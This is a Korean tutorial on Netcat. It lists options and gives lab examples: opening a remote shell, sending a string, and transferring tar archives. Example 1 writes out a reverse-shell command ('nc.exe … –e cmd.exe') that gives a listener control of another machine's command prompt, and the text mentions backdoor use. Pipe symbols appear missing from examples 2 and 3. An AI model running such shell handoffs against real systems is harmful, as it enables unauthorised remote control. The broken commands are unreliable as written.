[NC] NetCat 사용하기
by Choi HyeSun
NC(Netcat)
-
Netcat(이하 nc)은 Network connection에서 raw-data read, write를 할 수 있는 유틸리티 프로그램
-
일반적으로는 UNIX의 cat과 비슷한 사용법을 가지고 있지만 cat이 파일에 쓰거나 읽듯이 nc는 network connection에 읽거나 씀
-
스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리
-
해킹에도 이용범위가 매우 넓음
-
임의의 TCP, UDP 포트에서 상대방 TCP, UDP로 데이터를 보내는 도구
-
nc.exe 실행파일과 명령어를 통해 백도어 기능을 사용할 수 있음
사용법
-
nc [options] [target host] [ports]
-
options
-
-4: IPv4
-
-6: IPv6
-
-D: socket 디버깅 가능
-
-d: STDIN 입력을 읽어들이지 않음
-
-h: help
-
-i: send/recv, multiple port 연결 사이의 interval 지정.
-
-k: listening 모드로 실행되었을 때 연결이 완료되더라도 프로세스가 종료되지 않도록 하는 옵션.
-l 옵션과 함께 사용되지 않으면 에러. -
-l: listening 모드로 실행. -p, -s, -z 옵션과 함께 사용되면 에러. -w 옵션은 무시됨.
-
-n: hostname을 ip로만 지정.
-
-p: source port 지정. -l 옵션과 함께 사용되면 에러.
-
-r: source/destination port를 범위로 지정했을 때 랜덤한 순서로 연결시도.
-
-S: RFC 2385 TCP MD5 signature 옵션.
-
-s: 패킷을 전송할 IP 지정. -l 옵션과 함께 사용되면 에러.
-
-T: 연결에 ToS 지정.
-
-C: CRLF line-ending 전송.
-
-t: netcat을 telnet session으로 사용가능 하게.
-
-U: Unix Domain Socket을 사용하도록 지정.
-
-u: UDP 사용.
-
-v: 과정 출력
-
-w: connection/stdin timeout 지정. -l 옵션과 함께 사용하면 무시됨.
-
-X: proxy version 지정.
-
-x: proxy server의 hostname, port 지정.
-
-z: 아무 데이터도 전송하지 않고 listening daemong만 스캔. -l 옵션과 함께 사용하면 에러.
-
예시 1. cmd.exe 권한 받기
-
다음과 같은 환경 준비
- Server : win7 / ip 192.168.10.64
-
Client : win XP / ip 192.168.10.22
-
서버 및 클라이언트에 nc.exe 설치
- IP 주소 확인
-
첫 번째. Server에서 1234포트를 열고 nc.exe를 실행한 후 대기
- C:\> nc.exe –lvp 1234
-
두 번째. Client가 Server의 1234 포트로 접속하여 nc.exe를 실행하고 cmd.exe의 권한을 서버에게 부여
-
C:\> nc.exe 192.168.10.64 1234 –e cmd.exe
-
Server는 client의 cmd.exe 권한을 갖게 됨
-
-
세 번째. Server는 client의 cmd.exe를 통해 작업을 할 수 있음
- C:> ipconfig했을 때 Client의 IP 정보를 볼 수 있음
예시 2. 문자열 보내기
-
수신 : nc –lkv target_port_number
-
발신 : echo “hello world” nc target_ip_address target_port_number - 진행 1. 수신 : 포트 열고 대기
- 진행 2. 발신 : 해당 포트로 문자열 보내기
- 진행 3. 수신 : 문자열 받은 것 확인
예시 3. 파일 보내기
-
수신 : nc -l target_port_number tar xvzf – - z – 압축 / x – 해제
-
발신 : tar cvzf – a.text b.text nc target_ip_address target_port_number - z – 압축 / c – 생성
-
nc로 파일 송수신시 ownership 및 permission이 보존됨
- 진행 1. 수신 : 파일 수신 대기
- 진행 2. 발신 : 파일 보내기
- 진행 3. 수신 : 파일 수신 확인
Subscribe via RSS